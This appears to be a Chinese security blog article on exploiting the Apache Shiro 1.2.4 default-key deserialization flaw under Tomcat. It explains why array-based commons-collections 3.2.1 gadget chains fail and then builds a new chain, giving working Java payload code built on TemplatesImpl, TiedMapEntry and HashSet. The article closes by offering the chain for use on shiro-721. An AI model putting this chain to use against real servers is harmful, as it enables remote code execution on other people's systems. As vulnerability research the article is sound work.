Java反序列化利用链分析之Shiro反序列化

 

0x00 前言

在跟了一遍commons-collections系列的payload后,终于可以开始解决一下当时对shiro反序列化模凌两可的认识了。

当前,不管是国内实际的xx行动还是ctf比赛,shiro反序列化会经常看到。但在实际利用这个漏洞的时候,会发现我们无法在tomcat下直接利用shiro原生的commons-collections:3.2.1(原因后面说)。

我们前面已经对commons-collections系列利用链的分析,今天就来根据学到的知识来解决这个问题。

本文讨论了shiro-1.2.4版本无法直接利用现有的ysoserial利用链,并提出了相应的解决方案。

 

0x01 环境准备

这里用的是shiro-root-1.2.4的samples/web环境,clone下来后执行git checkout shiro-root-1.2.4

利用脚本参考的知道创宇的一篇分析

ysoserial用的0.0.6版本https://github.com/frohoff/ysoserial

先来讲一下,关于环境方面遇到的坑:

1. 在部署过程中,遇到了The absolute uri: http://java.sun.com/jsp/jstl/core cannot be resolved in either web.xml or the jar files deployed with this application的错误

这里的解决方案是修改pom.xml

897

添加jstl的具体版本即可解决。

2. serialVersionUID不一致导致无法反序列化的问题

这里可能在你的实验环境下不一定会遇到,我的实验环境和ysoserial生成的某几个类的serialVersionUID不一致,导致无法正常反序列化。
在实战中你可以采用这篇文章处理方法,这里我的解决方案是直接同步个commons-collections:3.2.1版本,在生成war包前,在pom.xml加入

   <dependency>
     <groupId>commons-collections</groupId>
     <artifactId>commons-collections</artifactId>
     <version>3.2.1</version>
     <scope>runtime</scope>
   </dependency>

 

0x02 前景回顾

16年的时候,shiro爆出了一个默认key的反序列化漏洞。至今已有大量的分析文章分析了该漏洞的原理,所以本文不再重复分析该漏洞的相关原理,可以参考以下几篇文章的分析:

除了1中在漏洞环境下添加了commons-collections:4.0,另外两篇文章均提到了在tomcat下无法直接利用commons-collections:3.2.1的问题。接下来我们就来看看是什么原因吧:)

org.apache.shiro.io.DefaultSerializer.deserialize:67

448

这里我们直接看反序列化发生的点,第75行使用了ClassResolvingObjectInputStream类而非传统的ObjectInputStream.这里可能是开发人员做的一种防护措施?
他重写了ObjectInputStream类的resolveClass函数,我曾在第一篇基础文章中分析过Java反序列化的过程,ObjectInputStreamresolveClass函数用的是Class.forName类获取当前描述器所指代的类的Class对象。而重写后的resolveClass函数

242

采用的是ClassUtils.forName,我们继续看这个forName的实现。

059

来看看这个ExceptionIgnoringAccessor是怎么实现的

583

这里实际上调用了ParallelWebAppClassLoader父类WebappClassLoaderBaseloadClass函数(可以直接下断点看看内容)。

579

该loadClass载入按照上述的顺序(这里不贴代码了,找到org.apache.catalina.loader.WebappClassLoaderBase.loadClass即可),先从cache中找已载入的类,如果前3点都没找到,再通过父类URLClassLoaderloadClass函数载入。但是实际上此时loadClass的参数name值带上了数组的标志,即/Lorg/apache/commons/collections/Transformer;.class,在参考的第二篇文章里有提到这个问题,所以导致shiro无法载入数组类型的对象。

那么如何才能真正的利用commons-collections:3.2.1来构造利用链呢?

首先,在参考的第一篇文章里,作者在环境中引入了commons-collections:4.0,使得ysoserial的CommonsCollections2利用链可以成功利用。这是因为CommonsCollections2用的是非数组形式的利用链,在该利用链上没有出现数组类型的对象,这使得在shiro的环境下,可以正确执行命令。

那么,问题来了,我们是否能构造出一个在commons-collections:3.2.1下可以利用,并且在利用链上不存在数组类型的对象?答案当然是肯定的:)

 

0x03 新利用链构造

根据0x02的介绍,我们可以清楚的是利用链中的ChainedTransformer这个类的利用是无法成功的,因为他的类属性iTransformers是数组类型的Transformers,也就是在执行过程中发生的ClassNotFoundException

如果你看过前几篇关于commons-collections系列的payload分析,那么你肯定可以回忆起来,除了利用ChainedTransformer这种方式,还可以使用TemplatesImpl.newTransformer函数来动态loadClass构造好的evil class bytes(这一部分不复述了,可以看前面的文章)。并且在这部分利用链上是不存在数组类型的对象的。

那么,接下来的重点就是找一个如何触发TemplatesImpl.newTransformer的方法了:)

我们先来回顾一下CommonsCollections2的利用链

PriorityQueue.readObject
    -> PriorityQueue.heapify()
    -> PriorityQueue.siftDown()
    -> PriorityQueue.siftDownUsingComparator()
        -> TransformingComparator.compare()
            -> InvokerTransformer.transform()
                -> TemplatesImpl.newTransformer()
                ... templates Gadgets ...
                    -> Runtime.getRuntime().exec()

在这条链上,由于TransformingComparator在3.2.1的版本上还没有实现Serializable接口,其在3.2.1版本下是无法反序列化的。所以我们无法直接利用该payload来达到命令执行的目的。

那么就来改造改造吧!我们先将注意力关注在InvokerTransformer.transform()

530

这里是最经典的反射机制的写法,根据传入的input对象,调用其iMethodName(可控)。那么如果此时传入的input为构造好的TemplatesImpl对象呢?

很明显,这样我们就可以通过将iMethodName置为newTransformer,从而完成后续的templates gadgets。

那么问题来了,怎么将传入的input置为TemplatesImpl对象呢?

在ysoserial的利用链中,关于transform函数接收的input存在两种情况。

1.配合ChainedTransformer

InvokerTransformer往往同ChainedTransformer配合,循环构造Runtimt.getRuntime().exec。很明显,这里我们无法利用了。

2.无意义的String

这里的无意义的String指的是传入到ConstantTransformer.transform函数的input,该transform函数不依赖input,而直接返回iConstant

这里第一条路肯定断了,那么就是怎么利用这个无意义的String了!

CommonsCollection5开始,出现了TiedMapEntry,其作为中继,调用了LazyMap(map)的get函数。

来看一看

051

其中mapkey我们都可以控制,而LazyMap.get调用了transform函数,并将可控的key传入transform函数

549

这里就接上了我们前面讨论的,将构造好的TemplatesImpl(key)作为InvokerTransformer.transform函数的input传入,我们就可以将templates gadgets串起来了。

简单来说,我们将CommonsCollections5,6,9构造链中的TiedMapEntry的key用了起来。

final Object templates = Gadgets.createTemplatesImpl(command);
// TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); //原来的利用方式
TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);

这里将无意义的foo改造成了触发TemplatesImpl.newTransformer的trigger。

而在TiedMapEntry前的利用链,在原生shiro环境下,并不冲突(没有数组类型的对象),可以正常反序列化。这一部分就省略了。

 

0x04 EXP编写

这里其实可以构造出好几个链,我这里就拿HashSet为例,完整的exp见MyYsoserial中的CommonsCollections10

final Object templates = Gadgets.createTemplatesImpl(command);// 构造带有evil class bytes的TemplatesImpl
// 构造InvokerTransformer,填充无害的toString函数
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

final Map innerMap = new HashMap();
// 构造LazyMap的factory为前面的InvokerTransformer
final Map lazyMap = LazyMap.decorate(innerMap, transformer);
// 填充TiedMapEntry的map(lazyMap)和key(TemplatesImpl)
TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);

HashSet map = new HashSet(1);
map.add("foo");
// 下述代码将entry填充到HashSet的node的key上,可以使得HashSet在put的时候调用TiedMapEntry的hashCode函数
Field f = null;
try {
  f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
  f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = null;
innimpl = (HashMap) f.get(map);

Field f2 = null;
try {
  f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
  f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = new Object[0];
array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
  node = array[1];
}

Field keyField = null;
try{
  keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
  keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
// 将最终的触发函数newTransformer装载到InvokerTransformer上
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

return map;

这里不对源码进行讲解了,都写在了注释里。

这里整理一下这条链的调用过程

java.util.HashSet.readObject()
-> java.util.HashMap.put()
-> java.util.HashMap.hash()
    -> org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
    -> org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
        -> org.apache.commons.collections.map.LazyMap.get()
        -> org.apache.commons.collections.functors.InvokerTransformer.transform()
            -> java.lang.reflect.Method.invoke()
      ... templates gadgets ...
      -> java.lang.Runtime.exec()

 

0x05 总结

在经过对CommonsCollections系列的利用链进行分析后,在shiro这个问题上,进行了实战,解决了tomcat下无法利用shiro原生的commons-collections:3.2.1这个问题。

在最近的shiro-721利用上,这个利用链希望可以帮助到大家

301

Happy Hacking XD

001

(完)